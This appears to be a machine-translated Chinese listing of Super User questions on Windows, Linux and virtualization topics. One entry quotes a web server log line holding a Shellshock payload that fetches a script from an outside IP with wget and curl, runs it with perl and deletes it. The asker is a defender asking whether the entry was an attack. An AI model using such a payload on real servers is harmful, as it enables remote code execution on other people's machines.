电脑用户

计算机爱好者和高级用户的问答


4
0.0.0.0:0和*:*代表同一件事吗?
我使用netstat(在Windows中)查看TCP和UDP的侦听端口: 我注意到在“ 外部地址”列中,UDP显示*:*而不是0.0.0.0:0,这两个值代表同一件事吗?如果是这样,那么为什么UDP显示*:*而不是0.0.0.0:0?




5
使用Junction链接(mklink)移动Windows文件夹
我的SSD上的空间即将用尽,Windows中似乎有一个19GB的文件夹伸出(%windir%\ Installer)并且无法安全删除(如此处所述:https : //serverfault.com/q/15746)。 现在,它mklink提供了一个名为Junction链接的整洁的小东西-如果我在cmd提示符下启动,然后将所有文件移动到另一个硬盘驱动器,然后运行以下命令: mklink /J C:\Windows\Installer D:\Windows\Installer 我会以某种方式弄乱Windows,还是可以这样做?文件夹权限/属性在整个链接中是否保持不变? 我以前使用过硬链接,它的工作原理就像魅力一样,可以极大地释放我的SSD,但是我从未在系统文件夹上尝试过(我不知道为什么它不起作用,但我不在其中如果我错了,请重新安装整个Windows的心情)

6
在Windows 10中预览照片
因此,在Windows 7中,您可以在单击照片打开之前查看照片缩略图。现在,在Windows 10中,您所获得的就是: 因此,为了让我找到图片,我必须双击它并希望找到它。有没有一种方法可以启用某种预览,以便我可以快速找到所需的内容(就像在Windows 7上显示图片一样)
23 windows-10 

5
OSX 10.10 Yosemite在VMware上运行缓慢
我在Vmware中安装了OSX Mavericks 10.9。在安装了VMware Tools和SVGA驱动程序的情况下,它也可以正常工作。优胜美地发布时,我从App Store更新了它。我在此更新中遇到了许多问题。 图形非常糟糕 太慢了 我试过的 我从VMware网站更新了最新的VMware工具 试图再次安装SVGA驱动程序(在这里找不到OSX Yosemite SVGA驱动程序的更新 。这些驱动程序与Mavericks配合良好,以我以前的经验在vmware中非常出色) 使用Mac OS X的内部实用程序和CCleaner应用程序对文件和文件夹的权限进行了配对。 使用CCleaner清除了所有垃圾文件(例如临时文件) 尝试使用虚拟机的配置文件来增加虚拟图形内存的大小,并向其中添加此行 svga.vramSize =“ sizeInBytes” 在这里找到了Internet 链接上的链接。建议运行名为BeamOff的应用程序(可从同一站点下载链接)并将其添加到启动中,以禁用Mac的Beam Sync功能以改善图形效果 通过使用上述选项6,当我启动BeamOff应用程序时,它突然使图形更加平滑。所以我将其添加到登录项,以便它可以从Mac登录开始。但令我感到失望的是,性能(图形+速度等)方面的这种改进并没有我使用OS X Mavericks时获得的太大。 我的虚拟机具有: 内存:3GB 硬盘空间:150 GB 问题是什么/想要什么: 1.Speedup OS X优胜美地性能(图形+速度),就像我以前在Mavericks中所拥有的那样 。2.我的分辨率为1366 * 768,但是当我在Mavericks的登录屏幕上时,我没有此分辨率(某些黑边距来自左右,看起来像1024 * 768)。登录过程完成并加载桌面后,它将更改为1366 * 768分辨率。请注意,当我使用Mavericks时(在登录屏幕和桌面上均具有1366 * 768的分辨率),它的工作正常。

3
这是攻击还是值得关注的事情?炮弹冲击?
access.log在我的测试服务器上看到了: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" 没有任何地址与我或我们的IP范围(或与此有关的任何其他内容)有关,立即考虑了Shellshock安全漏洞 /“ bashdoor”。 实际上,似乎有人尝试将curl“某物”降到服务器上,然后执行该“某物”,然后用删除了该“某物” -rf。 这是一个纯粹的测试服务器,没有造成任何危害(==除了重新安装之外没有任何危害)-但是时间安排非常有趣。据我回忆,以前从未见过这样的事情。 我应该担心,例如被“感兴趣”吗?有谁知道这是什么吗?

1
为什么垂直分辨率是360的倍数?
由于可以在“超级用户”上回答 此问题,因此该问题已从Electrical Engineering Stack Exchange 迁移而来。 迁移 6年前。 YouTube最近添加了1440p功能,我第一次意识到所有(大多数?)垂直分辨率都是360的倍数。 这仅仅是因为最小的通用分辨率是480x360,并且使用倍数很方便吗?(毫无疑问,倍数是方便的。)并且/或者是第一个可视/方便大小的分辨率,因此硬件(电视,显示器等)在考虑360时就增长了吗? 更进一步,为什么没有平方分辨率呢?还是其他不寻常的东西?(假设它足够通常,因此可见)。这仅仅是令人愉悦的情况吗?
23 video  resolution 

3
封装几乎所有其他命令的Linux命令是什么?
我记得对于在嵌入式系统中运行的Linux,由于大小限制,它无法打包与普通工作站一样多的命令。因此,有一个做它,所有的可以模拟几乎所有的命令(包括命令ls,cd,time等),但我不记得它的名字。 我只是模糊地想起了诸如“ minibox”之类的东西,或者它的名称中似乎有一个“ box”,有人知道它的名字吗?

3
(何时)确实需要CONHOST.EXE?
背景 去年,我编译了一个可移植的博客/网络服务器系统,该系统可以从闪存驱动器上运行。它很棒,而且效果很好,尤其是在XP上。问题在于,当它在Windows 7中运行时,每个控制台程序都会生成两个进程,该进程本身,以及的副本conhost.exe。 问题 对于便携式博客系统,其服务器组件的每个组件(MySQL的mysqld.exe,Apache的两个实例httpd.exe,VisualSVN的两个实例visualsvnserver.exe以及PHP的多个实例php-cgi.exe)都产生一个实例conhost.exe。目前(没有php-cgi.exe活动副本),我有五个conhost.exe正在运行的实例,几乎没有CPU周期用完,但是却消耗了22MB的内存(除了实际进程当前正在使用的80MB外)。 研究 由于Windows 7发布(我想可能是因为Vista的),我有几次试图弄清楚究竟什么样的目的不同(新)主机进程(例如conhost.exe,dllhost.exe和taskhost.exe),以及它们是否真的必要。我尝试杀死它们,发现控制台程序对于使用控制台窗口的程序和不使用控制台窗口的程序(例如服务器)都可以继续工作。 我已经对整个csrss.exe⇨Windows Vista⇨conhost.exe很熟悉,并且已经多次看到相同的解释(几乎逐字记录)。问题在于,每个人都只是复制粘贴相同的解释而没有帮助。它所说的只是在XP-控制台应用程序中“由...托管”或“在...下运行” csrss.exe,但在Windows 7中,它们被移至conhost.exe安全性考虑。安全方面是有道理的,但它没有说明托管它的含义或必要的理由/时间(或在没有必要的情况下是否有可能避免托管)。就连Raymond Chen 对此的讨论也掩盖了为什么控制台应用程序托管完全不同的原因。 我可以找到最接近详细的技术说明的内容是Microsoft博客文章,它似乎在强化这种想法,即仅涉及控制台应用程序的GUI和窗口。这使我更加想知道,conhost.exe对于像这些服务器这样的无窗口程序是否必要。如果根本没有窗口,那为什么我要浪费资源并用不必要的过程来使过程空间混乱?Windows为什么无法检测到何时不必要并避免它?关于技术说明,SecurityMatt的回复也很有用,但同样,我所寻找的信息不足。 我并不是唯一尝试找出一种方法来停止不必要的实例的人conhost。此人询问要禁用它,并被告知“不可能”,没有进一步的努力或思考。Hugh D和“难得的功能”指出了许多冗余实例的问题conhost(至少使用csrss,只有一个副本在运行),包括资源使用情况和子进程结束后的剩余实例。我劳弗(Laufer)质疑是否/何时需要。 观察和解决方案尝试 如果实际上并非始终都需要它们(再次,我没有看到杀死它们的任何不良影响),那么我想我可以(非常令人讨厌)通过用运行服务器的批处理文件替换服务器来解决该问题。 ,等待,然后杀死conhost它们导致运行的副本。当然,这需要一种快速简便的方法来确定它是哪一个。FallenGameR询问如何获取conhost.exe与给定PID的控制台程序相关联的实例,但没有得到答案。我认为,简单地获取父进程的PID应该可以解决问题(不,ProcessExplorer不是一种选择,它是自动/可编写的解决方案是必需的),但不仅需要创建某种框架来获取子代的PID(而不是简单地运行它并完成任务),而且还意味着需要找到一种使其兼容的方法以及XP(例如,检查父进程的映像名称)。这篇博客文章提供了一种方法,但是它需要PowerShell,并且并不是理想的选择,更不用说它对运行脚本的后果一无所知。 问题 也许微软认为没有人再使用命令提示符了(*咳嗽* Windows 8 *咳嗽*),因此假设负担不大,但是肯定有多个控制台应用程序正在运行并且每个都有一个的情况。产生一个额外的,消耗内存的,使用PID的过程是很糟糕的,而尝试解决这个问题,充其量是非常不便的。 有人对此事有权威的权威信息吗?同样,我已经阅读了通用说明;我想知道: 为什么控制台应用程序必须(仍然)以完全不同的方式处理 在什么样的具体情况,他们需要有conhost 杀戮的后果是什么conhost 是否有任何方法可以阻止/阻止/禁用/阻止它,或者至少有一种简单的方法可以迅速地对其进行处理?

4
父母计算机的远程管理
这个问题已经在这里有了答案: 8年前关闭。 此问题是从“服务器故障” 迁移而来的,因为可以在“超级用户”上回答。 迁移 8年前。 可能重复: 免费的远程桌面应用程序适合与不识字的计算机一起工作吗? 我正在寻找可以安装在父母和祖父母的笔记本电脑上的产品,以帮助我远程管理它们。要求是: 在它们的末端,它必须是静默地位于后台且完全不需要交互的东西。 他们可能在NAT之后。 他们可能会有动态IP地址,因此它不必要求我知道他们的IP地址。理想情况下,可以向我显示我可以连接的计算机列表的东西会很棒。 鼠标,屏幕,键盘控制 密码保护的远程访问 只要价格合理(免费或收费最好,而不是基于订阅),免费还是付费都可以 更新: 所有机器都运行Windows(XP,Vista或7) 我正在寻找不需要大量配置和设置服务器等的东西。

6
如何以管理员身份运行控制面板?
我的Windows 7计算机上存在以下问题:我是管理员成员,但是没有完整的超级用户特权。有人告诉我这是设计使然,我需要在需要超级用户特权的地方显式地“以管理员身份运行”程序。 如何使用控制面板执行此操作?

4
当内核仍然支持分页/虚拟内存时,为什么Linux使用交换分区?
据我了解分页和交换,它们是完全不同的概念。交换意味着进程要么完全在物理内存中,要么在硬盘上,进程的分页部分可以在物理内存中,而其他部分可以在硬盘上。 但是,为什么Linux需要交换分区呢?如果物理内存已满,则某些进程将外包给硬盘驱动器,并且新进程将从虚拟内存映射到物理内存。 我只是不明白为什么需要一个交换分区(或一般交换)? 还是这仅仅是术语问题swap partition == virtual memory?

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.